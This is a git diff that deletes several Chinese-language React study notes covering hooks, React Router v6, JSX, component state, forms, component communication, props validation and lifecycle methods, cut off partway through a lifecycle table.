-useMemo和useCallback接收的参数都是一样,都是在其依赖项发生变化后才执行,都是返回缓存的值,区别在于useMemo返回的是函数运行的结果,useCallback返回的是函数,这个回调函数是经过处理后的也就是说父组件传递一个函数给子组件的时候,由于是无状态组件每一次都会重新生成新的props函数,这样就使得每一次传递给子组件的函数都发生了变化,这时候就会触发子组件的更新,这些更新是没有必要的,此时我们就可以通过usecallback来处理此函数,然后作为props传递给子组件 - -```js -/* 用react.memo */ -const DemoChildren = React.memo((props)=>{ - /* 只有初始化的时候打印了 子组件更新 */ - console.log('子组件更新') - useEffect(()=>{ - props.getInfo('子组件') - },[]) - return
    子组件
    -}) - -const DemoUseCallback=({ id })=>{ - const [number, setNumber] = useState(1) - /* 此时usecallback的第一参数 (sonName)=>{ console.log(sonName) } - 经过处理赋值给 getInfo */ - const getInfo = useCallback((sonName)=>{ - console.log(sonName) - },[id]) - return
    - {/* 点击按钮触发父组件更新 ,但是子组件没有更新 */} - - -
    -} -``` - -**这里应该提醒的是,useCallback ,必须配合 react.memo pureComponent ,否则不但不会提升性能,还有可能降低性能** diff --git "a/src/React/ReactRouter V6 \350\247\243\346\236\220.md" "b/src/React/ReactRouter V6 \350\247\243\346\236\220.md" deleted file mode 100644 index d5682692..00000000 --- "a/src/React/ReactRouter V6 \350\247\243\346\236\220.md" +++ /dev/null @@ -1,124 +0,0 @@ ---- -date: 2022-05-12 -category: -- React ---- -# ReactRouter V6 解析 - -## 基础使用 - -基于项目模板安装react-router-dom - -` yarn add react-router-dom@6` - -## 核心组件 - -### BrowerRouter - -**作用:**包裹整个应用,一个 React 应用只需要使用一次 - -**两种常用 Router** **:** HashRouter 和 BrowserRouter - -**HashRouter** - -使用 URL 的哈希值实现(http://localhost:3000/#/first) - -**BrowserRouter** **(** **推荐** **)** - -使用 H5 的 history.pushState API 实现(http://localhost:3000/first) - -### Link - -**作用** **:**用于指定导航链接,完成路由跳转 - -**语法说明:** 组件通过to属性指定路由地址,最终会渲染为a链接元素 - -```jsx - -``` - -### Routes - -**作用** **:**提供一个路由出口,满足条件的路由组件会渲染到组件内部,定义path和组件的对应关系。用于指定导航链接,完成路由匹配 - -**语法说明:** path属性指定匹配的路径地址,element属性指定要渲染的组件。 - -```jsx -}/> -``` - -**说明:**当url路径为 ‘/about’ 时,会渲染` `组件 - -## 编程式导航 - -### 跳转 - -**作用** **:**通过js编程的方式进行路由页面跳转,比如从登录页跳转到关于页 - -**语法说明:** - -1. 导入useNavigate钩子函数 - - -2. 执行钩子函数得到跳转函数 - - -3. 执行跳转函数完成跳转 - -![image-20220501164235089](https://my-doc-1259409954.file.myqcloud.com/MyImages/image-20220501164235089.png) - - **注意**:如果在跳转时不想加历史记录,可以添加额外参数replace为true - -### 跳转携带参数 - -**场景** **:**有些时候不光需要跳转路由还需要传递参数 - -**俩种方式:** - -1. searchParams传参 - - 传参: - - ![image-20220501163904592](https://my-doc-1259409954.file.myqcloud.com/MyImages/image-20220501163904592.png) - - 取参: - - ![image-20220501163925464](https://my-doc-1259409954.file.myqcloud.com/MyImages/image-20220501163925464.png) - -2. params传参(path配合:/:id) - - 传参: - - ![image-20220501163948813](https://my-doc-1259409954.file.myqcloud.com/MyImages/image-20220501163948813.png) - - 取参: - - ![image-20220501164004751](https://my-doc-1259409954.file.myqcloud.com/MyImages/image-20220501164004751.png) - -## 嵌套路由 - -### 代码实现 - -1. App.js: 定义嵌套路由声明 - - ![image-20220501164359039](https://my-doc-1259409954.file.myqcloud.com/MyImages/image-20220501164359039.png) - -2. Layout.js: 使用 ``指定二级路由出口 - - ![image-20220501164447292](https://my-doc-1259409954.file.myqcloud.com/MyImages/image-20220501164447292.png) - -### 默认二级路由 - -**场景:** 应用首次渲染完毕就需要显示的二级路由 - -**怎么做:** 1. 给默认路由标记index 2. 修改跳转路径path - -![image-20220501164516536](https://my-doc-1259409954.file.myqcloud.com/MyImages/image-20220501164516536.png) - -## 404页配置 - -**场景:**当所有的路径都没有匹配的时候显示 - -**语法说明:** 在各级路由的最后添加 * 号路由 作为兜底 - -![image-20220501164630342](https://my-doc-1259409954.file.myqcloud.com/MyImages/image-20220501164630342.png) diff --git "a/src/React/React\345\237\272\347\241\200.md" "b/src/React/React\345\237\272\347\241\200.md" deleted file mode 100644 index e09b311d..00000000 --- "a/src/React/React\345\237\272\347\241\200.md" +++ /dev/null @@ -1,2074 +0,0 @@ ---- -date: 2022-05-02 -category: -- React ---- - -# React基础 - -## React介绍 - -`目标任务:` 了解什么是React以及它的特点 - -**React是什么** - -​ 一个专注于构建用户界面的 JavaScript 库,和vue和angular并称前端三大框架,不夸张的说,react引领了很多新思想,世界范围内是最流行的js前端框架,最近发布了18版本,加入了很多新特性 - -​ React英文文档(https://reactjs.org/) - -​ React中文文档 (https://zh-hans.reactjs.org/) - -​ React新文档 (https://beta.reactjs.org/)(开发中....) - -**React有什么特点** - -1. 声明式UI(JSX) - - 写UI就和写普通的HTML一样,抛弃命令式的繁琐实现 - - ![](https://my-doc-1259409954.file.myqcloud.com/MyImages/compare.png) - -2. 组件化 - - 组件是react中最重要的内容,组件可以通过搭积木的方式拼成一个完整的页面,通过组件的抽象可以增加复用能力和提高可维护性 - - - -3. 一次学习,矿平台编写 - - react既可以开发web应用也可以使用同样的语法开发原生应用(react-native),比如安卓和ios应用,甚至可以使用react开发VR应用,想象力空间十足,react更像是一个 `元框架` 为各种领域赋能 - - - -## 环境初始化 - -`目标任务:` 能够独立使用React脚手架创建一个react项目 - -### 1. 使用脚手架创建项目 - -![](https://my-doc-1259409954.file.myqcloud.com/MyImages/create-react.png) - -- 打开命令行窗口 - -- 执行命令 - - ```bash - npx create-react-app react-basic - ``` - - 说明: - - 1. npx create-react-app 是固定命令,`create-react-app`是React脚手架的名称 - 2. react-basic表示项目名称,可以自定义,保持语义化 - 3. npx 命令会帮助我们临时安装create-react-app包,然后初始化项目完成之后会自自动删掉,所以不需要全局安装create-react-app - -- 启动项目 - - ```bash - yarn start - or - npm start - ``` - -### 2. 项目目录说明调整 - -- 目录说明 - - 1. `src` 目录是我们写代码进行项目开发的目录 - - 2. `package.json` 中俩个核心库:react 、react-dom - -- 目录调整 - - 1. 删除src目录下自带的所有文件,只保留app.js根组件和index.js - 2. 创建index.js文件作为项目的入口文件,在这个文件中书写react代码即可 - -- 入口文件说明 - - ```jsx - import React from 'react' - import ReactDOM from 'react-dom' - import './index.css' - // 引入根组件App - import App from './App' - // 通过调用ReactDOM的render方法渲染App根组件到id为root的dom节点上 - ReactDOM.render( - - - , - document.getElementById('root') - ) - ``` - -## JSX基础 - -### 1. JSX介绍 - -`目标任务:` 能够理解什么是JSX,JSX的底层是什么 - -概念:JSX是 JavaScript XML(HTML)的缩写,表示在 JS 代码中书写 HTML 结构 - -作用:在React中创建HTML结构(页面UI结构) - -优势: - -1. 采用类似于HTML的语法,降低学习成本,会HTML就会JSX -2. 充分利用JS自身的可编程能力创建HTML结构 - -注意:JSX 并不是标准的 JS 语法,是 JS 的语法扩展,浏览器默认是不识别的,脚手架中内置的 [@babel/plugin-transform-react-jsx](@babel/plugin-transform-react-jsx) 包,用来解析该语法 - -![](https://my-doc-1259409954.file.myqcloud.com/MyImages/jsx02.png) - - - - - -### 2. JSX中使用js表达式 - -`目标任务:` 能够在JSX中使用表达式 - -**语法** - -`{ JS 表达式 }` - -```jsx -const name = '柴柴' - -

    你好,我叫{name}

    //

    你好,我叫柴柴

    -``` - -**可以使用的表达式** - -1. 字符串、数值、布尔值、null、undefined、object( [] / {} ) -2. 1 + 2、'abc'.split('')、['a', 'b'].join('-') -3. fn() - -**特别注意** - -​ if 语句/ switch-case 语句/ 变量声明语句,这些叫做语句,不是表达式,不能出现在 `{}` 中!! - -### 3. JSX列表渲染 - -`目标任务:` 能够在JSX中实现列表渲染 - -> 页面的构建离不开重复的列表结构,比如歌曲列表,商品列表等,我们知道vue中用的是v-for,react这边如何实现呢? - -实现:使用数组的`map` 方法 - -案例: - -```jsx -// 来个列表 -const songs = [ - { id: 1, name: '痴心绝对' }, - { id: 2, name: '像我这样的人' }, - { id: 3, name: '南山南' } -] - -function App() { - return ( -
    -
      - { - songs.map(item =>
    • {item.name}
    • ) - } -
    -
    - ) -} - -export default App -``` - -注意点:需要为遍历项添加 `key` 属性 - -![](https://my-doc-1259409954.file.myqcloud.com/MyImages/jsx03.png) - -1. key 在 HTML 结构中是看不到的,是 React 内部用来进行性能优化时使用 -2. key 在当前列表中要唯一的字符串或者数值(String/Number) -3. 如果列表中有像 id 这种的唯一值,就用 id 来作为 key 值 -4. 如果列表中没有像 id 这种的唯一值,就可以使用 index(下标)来作为 key 值 - -### 4. JSX条件渲染 - -`目标任务:` 能够在JSX中实现条件渲染 - -作用:根据是否满足条件生成HTML结构,比如Loading效果 - -实现:可以使用 `三元运算符` 或 `逻辑与(&&)运算符` - -案例: - -```jsx -// 来个布尔值 -const flag = true -function App() { - return ( -
    - {/* 条件渲染字符串 */} - {flag ? 'react真有趣' : 'vue真有趣'} - {/* 条件渲染标签/组件 */} - {flag ? this is span : null} -
    - ) -} -export default App -``` - - - -### 5. JSX样式处理 - -`目标任务:` 能够在JSX中实现css样式处理 - -- 行内样式 - style - - ```jsx - function App() { - return ( -
    -
    this is a div
    -
    - ) - } - - export default App - ``` - -- 行内样式 - style - 更优写法 - - ```jsx - const styleObj = { - color:red - } - - function App() { - return ( -
    -
    this is a div
    -
    - ) - } - - export default App - ``` - - - -- 类名 - className(推荐) - - `app.css` - - ```css - .title { - font-size: 30px; - color: blue; - } - ``` - - `app.js` - - ```jsx - import './app.css' - - function App() { - return ( -
    -
    this is a div
    -
    - ) - } - export default App - ``` - -- 类名 - className - 动态类名控制 - - ```jsx - import './app.css' - const showTitle = true - function App() { - return ( -
    -
    this is a div
    -
    - ) - } - export default App - ``` - -### 6. JSX注意事项 - -`目标任务:` 掌握JSX在实际应用时的注意事项 - -1. JSX必须有一个根节点,如果没有根节点,可以使用`<>`(幽灵节点)替代 -2. 所有标签必须形成闭合,成对闭合或者自闭合都可以 -3. JSX中的语法更加贴近JS语法,属性名采用驼峰命名法 `class -> className` `for -> htmlFor` -4. JSX支持多行(换行),如果需要换行,需使用`()` 包裹,防止bug出现 - -## 格式化配置 - -`目标任务:` 基于vscode配置格式化工具,提高开发效率 - -1. 安装vsCode prettier插件 - -2. 修改配置文件 `setting.json` - - ```json - { - "git.enableSmartCommit": true, - // 修改注释颜色 - "editor.tokenColorCustomizations": { - "comments": { - "fontStyle": "bold", - "foreground": "#82e0aa" - } - }, - // 配置文件类型识别 - "files.associations": { - "*.js": "javascript", - "*.json": "jsonc", - "*.cjson": "jsonc", - "*.wxss": "css", - "*.wxs": "javascript" - }, - "extensions.ignoreRecommendations": false, - "files.exclude": { - "**/.DS_Store": true, - "**/.git": true, - "**/.hg": true, - "**/.svn": true, - "**/CVS": true, - "**/node_modules": false, - "**/tmp": true - }, - // "javascript.implicitProjectConfig.experimentalDecorators": true, - "explorer.confirmDragAndDrop": false, - "typescript.updateImportsOnFileMove.enabled": "prompt", - "git.confirmSync": false, - "editor.tabSize": 2, - "editor.fontWeight": "500", - "[json]": {}, - "editor.tabCompletion": "on", - "vsicons.projectDetection.autoReload": true, - "editor.fontFamily": "Monaco, 'Courier New', monospace, Meslo LG M for Powerline", - "[html]": { - "editor.defaultFormatter": "vscode.html-language-features" - }, - "editor.fontSize": 16, - "debug.console.fontSize": 14, - "vsicons.dontShowNewVersionMessage": true, - "editor.minimap.enabled": true, - "emmet.extensionsPath": [ - "" - ], - // vue eslint start 保存时自动格式化代码 - "editor.formatOnSave": true, - // eslint配置项,保存时自动修复错误 - "editor.codeActionsOnSave": { - "source.fixAll": true - }, - "vetur.ignoreProjectWarning": true, - // 让vetur使用vs自带的js格式化工具 - // uni-app和vue 项目使用 - "vetur.format.defaultFormatter.js": "vscode-typescript", - "javascript.format.semicolons": "remove", - // // 指定 *.vue 文件的格式化工具为vetur - "[vue]": { - "editor.defaultFormatter": "octref.vetur" - }, - // // 指定 *.js 文件的格式化工具为vscode自带 - "[javascript]": { - "editor.defaultFormatter": "vscode.typescript-language-features" - }, - // // 默认使用prettier格式化支持的文件 - "editor.defaultFormatter": "esbenp.prettier-vscode", - "prettier.jsxBracketSameLine": true, - // 函数前面加个空格 - "javascript.format.insertSpaceBeforeFunctionParenthesis": true, - "prettier.singleQuote": true, - "prettier.semi": false, - // eslint end - // react - // 当按tab键的时候,会自动提示 - "emmet.triggerExpansionOnTab": true, - "emmet.showAbbreviationSuggestions": true, - "emmet.includeLanguages": { - // jsx的提示 - "javascript": "javascriptreact", - "vue-html": "html", - "vue": "html", - "wxml": "html" - }, - // end - "[jsonc]": { - "editor.defaultFormatter": "vscode.json-language-features" - }, - // @路径提示 - "path-intellisense.mappings": { - "@": "${workspaceRoot}/src" - }, - "security.workspace.trust.untrustedFiles": "open", - "git.ignoreMissingGitWarning": true, - "window.zoomLevel": 1 - } - ``` - - - -## 阶段小练习 - -![](https://my-doc-1259409954.file.myqcloud.com/MyImages/jsx-demo.png) - -练习说明 - -1. 拉取准备好的项目模块到本地 ,安装依赖,run起来项目 - - https://gitee.com/react-course-series/react-jsx-demo - -2. 按照图示,完成 `评论数据渲染` `tab内容渲染` `评论列表点赞和点踩` 三个视图渲染 - - - -# React组件基础 - -## 组件概念 - -![](https://my-doc-1259409954.file.myqcloud.com/MyImages/components.png) - -## 函数组件 - -`目标任务:` 能够独立使用函数完成react组件的创建和渲染 - -**概念** - -> 使用 JS 的函数(或箭头函数)创建的组件,就叫做`函数组件` - -**组件定义与渲染** - -```jsx -// 定义函数组件 -function HelloFn () { - return
    这是我的第一个函数组件!
    -} - -// 定义类组件 -function App () { - return ( -
    - {/* 渲染函数组件 */} - - -
    - ) -} -export default App -``` - -**约定说明** - -1. 组件的名称**必须首字母大写**,react内部会根据这个来判断是组件还是普通的HTML标签 -2. 函数组件**必须有返回值**,表示该组件的 UI 结构;如果不需要渲染任何内容,则返回 null - -3. 组件就像 HTML 标签一样可以被渲染到页面中。组件表示的是一段结构内容,对于函数组件来说,渲染的内容是函数的**返回值**就是对应的内容 -4. 使用函数名称作为组件标签名称,可以成对出现也可以自闭合 - -## 类组件 - -`目标任务:` 能够独立完成类组件的创建和渲染 - -> 使用 ES6 的 class 创建的组件,叫做类(class)组件 - -**组件定义与渲染** - -```jsx -// 引入React -import React from 'react' - -// 定义类组件 -class HelloC extends React.Component { - render () { - return
    这是我的第一个类组件!
    - } -} - -function App () { - return ( -
    - {/* 渲染类组件 */} - - -
    - ) -} -export default App -``` - -**约定说明** - -1. **类名称也必须以大写字母开头** - -2. 类组件应该继承 React.Component 父类,从而使用父类中提供的方法或属性 - -3. 类组件必须提供 render 方法**render 方法必须有返回值,表示该组件的 UI 结构** - - -## 事件绑定 - -`目标任务:` 能够独立绑定任何事件并能获取到事件对象e - -### 1. 如何绑定事件 - -- 语法 - - on + 事件名称 = { 事件处理程序 } ,比如:`
    {}}>
    ` - -- 注意点 - - react事件采用驼峰命名法,比如:onMouseEnter、onFocus - -- 样例 - - ```jsx - // 函数组件 - function HelloFn () { - // 定义事件回调函数 - const clickHandler = () => { - console.log('事件被触发了') - } - return ( - // 绑定事件 - - ) - } - - // 类组件 - class HelloC extends React.Component { - // 定义事件回调函数 - clickHandler = () => { - console.log('事件被触发了') - } - render () { - return ( - // 绑定事件 - - ) - } - } - ``` - -### 2. 获取事件对象 - -- 通过事件处理程序的参数获取事件对象e - - ```jsx - // 函数组件 - function HelloFn () { - // 定义事件回调函数 - const clickHandler = (e) => { - e.preventDefault() - console.log('事件被触发了', e) - } - return ( - // 绑定事件 - 百度 - ) - } - ``` - - -## 组件状态 - -`目标任务:` 能够为组件添加状态和修改状态的值 - -> 一个前提:在react hook出来之前,函数式组件是没有自己的状态的,所以我们统一通过类组件来讲解 - -![](https://my-doc-1259409954.file.myqcloud.com/MyImages/state-update.png) - -### 1. 初始化状态 - -- 通过class的实例属性state来初始化 - -- state的值是一个对象结构,表示一个组件可以有多个数据状态 - - ```jsx - class Counter extends React.Component { - // 初始化状态 - state = { - count: 0 - } - render() { - return - } - } - ``` - -### 2. 读取状态 - -- 通过this.state来获取状态 - - ```jsx - class Counter extends React.Component { - // 初始化状态 - state = { - count: 0 - } - render() { - // 读取状态 - return - } - } - ``` - -### 3. 修改状态 - -- 语法 - - `this.setState({ 要修改的部分数据 })` - -- setState方法作用 - - 1. 修改state中的数据状态 - 2. 更新UI - -- 思想 - - ​ 数据驱动视图,也就是只要修改数据状态,那么页面就会自动刷新,无需手动操作dom - -- 注意事项 - - ​ **不要直接修改state中的值,必须通过setState方法进行修改** - - -```jsx -class Counter extends React.Component { - // 定义数据 - state = { - count: 0 - } - // 定义修改数据的方法 - setCount = () => { - this.setState({ - count: this.state.count + 1 - }) - } - // 使用数据 并绑定事件 - render () { - return - } -} -``` - -## this问题说明 - -![](https://my-doc-1259409954.file.myqcloud.com/MyImages/this.png) - -这里我们作为了解内容,随着js标准的发展,主流的写法已经变成了class fields,无需考虑太多this问题 - -## React的状态不可变 - -`目标任务:` 能够理解不可变的意义并且知道在实际开发中如何修改状态 - -**概念**:不要直接修改状态的值,而是基于当前状态创建新的状态值 - -**1. 错误的直接修改** - -```js -state = { - count : 0, - list: [1,2,3], - person: { - name:'jack', - age:18 - } -} -// 直接修改简单类型Number -this.state.count++ -++this.state.count -this.state.count += 1 -this.state.count = 1 - -// 直接修改数组 -this.state.list.push(123) -this.state.list.spice(1,1) - -// 直接修改对象 -this.state.person.name = 'rose' -``` - -**2. 基于当前状态创建新值** - -```js -this.setState({ - count: this.state.count + 1 - list: [...this.state.list, 4], - person: { - ...this.state.person, - // 覆盖原来的属性 就可以达到修改对象中属性的目的 - name: 'rose' - } -}) -``` - -## 表单处理 - -`目标任务:` 能够使用受控组件的方式获取文本框的值 - -使用React处理表单元素,一般有俩种方式: - -1. 受控组件 (推荐使用) - -2. 非受控组件 (了解) - -### 1. 受控表单组件 - -> 什么是受控组件? `input框自己的状态被React组件状态控制` -> -> React组件的状态的地方是在state中,input表单元素也有自己的状态是在value中,React将state与表单元素的值(value)绑定到一起,由state的值来控制表单元素的值,从而保证单一数据源特性 - -**实现步骤** - -以获取文本框的值为例,受控组件的使用步骤如下: - -1. 在组件的state中声明一个组件的状态数据 -2. 将状态数据设置为input标签元素的value属性的值 -3. 为input添加change事件,在事件处理程序中,通过事件对象e获取到当前文本框的值(`即用户当前输入的值`) - -4. 调用setState方法,将文本框的值作为state状态的最新值 - -**代码落地** - -```jsx -import React from 'react' - -class InputComponent extends React.Component { - // 声明组件状态 - state = { - message: 'this is message', - } - // 声明事件回调函数 - changeHandler = (e) => { - this.setState({ message: e.target.value }) - } - render () { - return ( -
    - {/* 绑定value 绑定事件*/} - -
    - ) - } -} - - -function App () { - return ( -
    - -
    - ) -} -export default App -``` - -### 2. 非受控表单组件 - -> 什么是非受控组件? -> -> 非受控组件就是通过手动操作dom的方式获取文本框的值,文本框的状态不受react组件的state中的状态控制,直接通过原生dom获取输入框的值 - -**实现步骤** - -1. 导入`createRef` 函数 -2. 调用createRef函数,创建一个ref对象,存储到名为`msgRef`的实例属性中 -3. 为input添加ref属性,值为`msgRef` -4. 在按钮的事件处理程序中,通过`msgRef.current`即可拿到input对应的dom元素,而其中`msgRef.current.value`拿到的就是文本框的值 - -**代码落地** - -```jsx -import React, { createRef } from 'react' - -class InputComponent extends React.Component { - // 使用createRef产生一个存放dom的对象容器 - msgRef = createRef() - - changeHandler = () => { - console.log(this.msgRef.current.value) - } - - render() { - return ( -
    - {/* ref绑定 获取真实dom */} - - -
    - ) - } -} - -function App () { - return ( -
    - -
    - ) -} -export default App -``` - -## 阶段小练习 - -![](https://my-doc-1259409954.file.myqcloud.com/MyImages/jsx-demo.png) - -练习说明 - - 1. 拉取项目模板到本地,安装依赖,run起来项目 - - https://gitee.com/react-course-series/react-component-demo - -2. 完成tab点击切换激活状态交互 - -3. 完成发表评论功能 - - 注意:生成独立无二的id 可以使用 uuid 包 `yarn add uuid` - - ```js - import {v4 as uuid} from 'uuid' - uuid() // 得到一个独一无二的id - ``` - -4. 完成删除评论功能 - -# React组件通信 - -## 组件通信的意义 - -`目标任务:` 了解为什么需要组件通信 - -组件是独立且封闭的单元,默认情况下组件**只能使用自己的数据(state)** - -组件化开发的过程中,完整的功能会拆分多个组件,在这个过程中不可避免的需要互相传递一些数据 - -为了能让各组件之间可以进行互相沟通,数据传递,这个过程就是组件通信 - -1. 父子关系 - **最重要的** -2. 兄弟关系 - 自定义事件模式产生技术方法 eventBus / 通过共同的父组件通信 -3. 其它关系 - **mobx / redux / 基于hook的方案** - -## 父传子实现 - -`目标任务:` 实现父子通信中的父传子,把父组件中的数据传给子组件 - -**实现步骤** - -1. 父组件提供要传递的数据 - `state` - -2. 给子组件标签`添加属性`值为 state中的数据 - -3. 子组件中通过 `props` 接收父组件中传过来的数据 - - 1. 类组件使用this.props获取props对象 - 2. 函数式组件直接通过参数获取props对象 - - - -![](https://my-doc-1259409954.file.myqcloud.com/MyImages/props-1.png) - - - -**代码实现** - -```jsx -import React from 'react' - -// 函数式子组件 -function FSon(props) { - console.log(props) - return ( -
    - 子组件1 - {props.msg} -
    - ) -} - -// 类子组件 -class CSon extends React.Component { - render() { - return ( -
    - 子组件2 - {this.props.msg} -
    - ) - } -} -// 父组件 -class App extends React.Component { - state = { - message: 'this is message' - } - render() { - return ( -
    -
    父组件
    - - -
    - ) - } -} - -export default App -``` - -## props说明 - -`目标任务:` 知道props传递时的一些注意事项 - -**1. props是只读对象(readonly)** - -根据单项数据流的要求,子组件只能读取props中的数据,不能进行修改 - -**2. props可以传递任意数据** - -数字、字符串、布尔值、数组、对象、`函数、JSX` - -```jsx -class App extends React.Component { - state = { - message: 'this is message' - } - render() { - return ( -
    -
    父组件
    - { console.log(1) }} - child={this is child} - /> - -
    - ) - } -} -``` - -![](https://my-doc-1259409954.file.myqcloud.com/MyImages/props-2.png) - - - -## 子传父实现 - -`目标任务:` 实现父子通信中的子传父 - -**口诀:** 父组件给子组件传递回调函数,子组件调用 - -**实现步骤** - -1. 父组件提供一个回调函数 - 用于接收数据 -2. 将函数作为属性的值,传给子组件 -3. 子组件通过props调用 回调函数 -4. 将子组件中的数据作为参数传递给回调函数 - -![](https://my-doc-1259409954.file.myqcloud.com/MyImages/props-4.png) - -**代码实现** - -```jsx -import React from 'react' - -// 子组件 -function Son(props) { - function handleClick() { - // 调用父组件传递过来的回调函数 并注入参数 - props.changeMsg('this is newMessage') - } - return ( -
    - {props.msg} - -
    - ) -} - - -class App extends React.Component { - state = { - message: 'this is message' - } - // 提供回调函数 - changeMessage = (newMsg) => { - console.log('子组件传过来的数据:',newMsg) - this.setState({ - message: newMsg - }) - } - render() { - return ( -
    -
    父组件
    - -
    - ) - } -} - -export default App -``` - -## 兄弟组件通信 - -`目标任务:` 实现兄弟组件之间的通信 - -**核心思路:** 通过状态提升机制,利用共同的父组件实现兄弟通信 - -![](https://my-doc-1259409954.file.myqcloud.com/MyImages/props-5.png) - -**实现步骤** - -1. 将共享状态提升到最近的公共父组件中,由公共父组件管理这个状态 - - - 提供共享状态 - - - 提供操作共享状态的方法 - -2. 要接收数据状态的子组件通过 props 接收数据 -3. 要传递数据状态的子组件通过props接收方法,调用方法传递数据 - - - -**代码实现** - -```jsx -import React from 'react' - -// 子组件A -function SonA(props) { - return ( -
    - SonA - {props.msg} -
    - ) -} -// 子组件B -function SonB(props) { - return ( -
    - SonB - -
    - ) -} - -// 父组件 -class App extends React.Component { - // 父组件提供状态数据 - state = { - message: 'this is message' - } - // 父组件提供修改数据的方法 - changeMsg = (newMsg) => { - this.setState({ - message: newMsg - }) - } - - render() { - return ( - <> - {/* 接收数据的组件 */} - - {/* 修改数据的组件 */} - - - ) - } -} - -export default App -``` - -## 跨组件通信Context - -`目标任务:` 了解Context机制解决的问题和使用步骤 - -**问题场景** - - - -> 上图是一个react形成的嵌套组件树,如果我们想从App组件向任意一个下层组件传递数据,该怎么办呢?目前我们能采取的方式就是一层一层的props往下传,显然很繁琐 -> -> 那么,Context 提供了一个**无需为每层组件手动添加 props,就能在组件树间进行数据传递的方法** - - - -**实现步骤** - -1. 创建Context对象 导出 Provider 和 Consumer对象 - - ```js - const { Provider, Consumer } = createContext() - ``` - -2. 使用Provider包裹根组件提供数据 - - ```jsx - - {/* 根组件 */} - - ``` - -3. 需要用到数据的组件使用Consumer包裹获取数据 - - ```jsx - - {value => /* 基于 context 值进行渲染*/} - - ``` - - - -**代码实现** - -```jsx -import React, { createContext } from 'react' - -// 1. 创建Context对象 -const { Provider, Consumer } = createContext() - - -// 3. 消费数据 -function ComC() { - return ( - - {value =>
    {value}
    } -
    - ) -} - -function ComA() { - return ( - - ) -} - -// 2. 提供数据 -class App extends React.Component { - state = { - message: 'this is message' - } - render() { - return ( - -
    - -
    -
    - ) - } -} - -export default App -``` - - - - - -## 阶段小练习 - -> 要求:App为父组件用来提供列表数据 ,ListItem为子组件用来渲染列表数据 - -![](https://my-doc-1259409954.file.myqcloud.com/MyImages/props-3.png) - -```js -// 列表数据 -[ - { id: 1, name: '超级好吃的棒棒糖', price: 18.8, info: '开业大酬宾,全场8折' }, - { id: 2, name: '超级好吃的大鸡腿', price: 34.2, info: '开业大酬宾,全场8折' }, - { id: 3, name: '超级无敌的冰激凌', price: 14.2, info: '开业大酬宾,全场8折' } -] -``` - -完整代码 - -```jsx -import React from 'react' - -// 子组件 -function ListItem(props) { - const { name, price, info, id, delHandler } = props - return ( -
    -

    {name}

    -

    {price}

    -

    {info}

    - -
    - ) -} - -// 父组件 -class App extends React.Component { - state = { - list: [ - { id: 1, name: '超级好吃的棒棒糖', price: 18.8, info: '开业大酬宾,全场8折' }, - { id: 2, name: '超级好吃的大鸡腿', price: 34.2, info: '开业大酬宾,全场8折' }, - { id: 3, name: '超级无敌的冰激凌', price: 14.2, info: '开业大酬宾,全场8折' } - ] - } - - delHandler = (id) => { - this.setState({ - list: this.state.list.filter(item => item.id !== id) - }) - } - - render() { - return ( - <> - { - this.state.list.map(item => - - ) - } - - ) - } -} - -export default App -``` - - - -# React组件进阶 - -## children属性 - -`目标任务:` 掌握props中children属性的用法 - -**children属性是什么** - -表示该组件的子节点,只要组件内部有子节点,props中就有该属性 - -**children可以是什么** - -1. 普通文本 -2. 普通标签元素 -3. 函数 -4. JSX - -## props校验-场景和使用 - -`目标任务:` 掌握组件props的校验写法,增加组件的健壮性 - -> 对于组件来说,props是由外部传入的,我们其实无法保证组件使用者传入了什么格式的数据,如果传入的数据格式不对,就有可能会导致组件内部错误,有一个点很关键 - **组件的使用者可能报错了也不知道为什么**,看下面的例子 - -![](https://my-doc-1259409954.file.myqcloud.com/MyImages/props-rule.png) - -面对这样的问题,如何解决? **props校验** - -**实现步骤** - -1. 安装属性校验包:`yarn add prop-types` -2. 导入`prop-types` 包 -3. 使用 `组件名.propTypes = {}` 给组件添加校验规则 - -**核心代码** - -```jsx -import PropTypes from 'prop-types' - -const List = props => { - const arr = props.colors - const lis = arr.map((item, index) =>
  • {item.name}
  • ) - return
      {lis}
    -} - -List.propTypes = { - colors: PropTypes.array -} -``` - -## props校验-规则说明 - -`目标任务:` 掌握props常见的规则 - -**四种常见结构** - -1. 常见类型:array、bool、func、number、object、string -2. React元素类型:element -3. 必填项:isRequired -4. 特定的结构对象:shape({}) - -**核心代码** - -```js -// 常见类型 -optionalFunc: PropTypes.func, -// 必填 只需要在类型后面串联一个isRequired -requiredFunc: PropTypes.func.isRequired, -// 特定结构的对象 -optionalObjectWithShape: PropTypes.shape({ - color: PropTypes.string, - fontSize: PropTypes.number -}) -``` - -官网文档更多阅读:https://reactjs.org/docs/typechecking-with-proptypes.html - - - -## props校验-默认值 - -`目标任务:` 掌握如何给组件的props提供默认值 - -> 通过 `defaultProps` 可以给组件的props设置默认值,在未传入props的时候生效 - -### 1. 函数组件 - -直接使用函数参数默认值 - -```jsx -function List({pageSize = 10}) { - return ( -
    - 此处展示props的默认值:{ pageSize } -
    - ) -} - -// 不传入pageSize属性 - -``` - -### 2. 类组件 - -使用类静态属性声明默认值,`static defaultProps = {}` - -```jsx -class List extends Component { - static defaultProps = { - pageSize: 10 - } - - render() { - return ( -
    - 此处展示props的默认值:{this.props.pageSize} -
    - ) - } -} - -``` - -## 生命周期 - 概述 - -`目标任务:` 能够说出组件生命周期一共几个阶段 - -> 组件的生命周期是指组件从被创建到挂载到页面中运行起来,再到组件不用时卸载的过程,注意,只有类组件才有生命周期(类组件 实例化 函数组件 不需要实例化) - -![](https://my-doc-1259409954.file.myqcloud.com/MyImages/life.png) - - - - - -## 生命周期 - 挂载阶段 - -`目标任务:` 能够说出在组件挂载阶段执行的钩子函数和执行时机 - -![](https://my-doc-1259409954.file.myqcloud.com/MyImages/life1.png) - -| 钩子 函数 | 触发时机 | 作用 | -| ----------------- | --------------------------------------------------- | ------------------------------------------------------------ | -| constructor | 创建组件时,最先执行,初始化的时候只执行一次 | 1. 初始化state 2. 创建 Ref 3. 使用 bind 解决 this 指向问题等 | -| render | 每次组件渲染都会触发 | 渲染UI(**注意: 不能在里面调用setState()** ) | -| componentDidMount | 组件挂载(完成DOM渲染)后执行,初始化的时候执行一次 | 1. 发送网络请求 2.DOM操作 | - -## 生命周期 - 更新阶段 - -`目标任务:` 能够说出组件的更新阶段的钩子函数以及执行时机 - -![](https://my-doc-1259409954.file.myqcloud.com/MyImages/life2.png) - -| 钩子函数 | 触发时机 | 作用 | -| ------------------ | ------------------------- | ------------------------------------------------------------ | -| render | 每次组件渲染都会触发 | 渲染UI(与 挂载阶段 是同一个render) | -| componentDidUpdate | 组件更新后(DOM渲染完毕) | 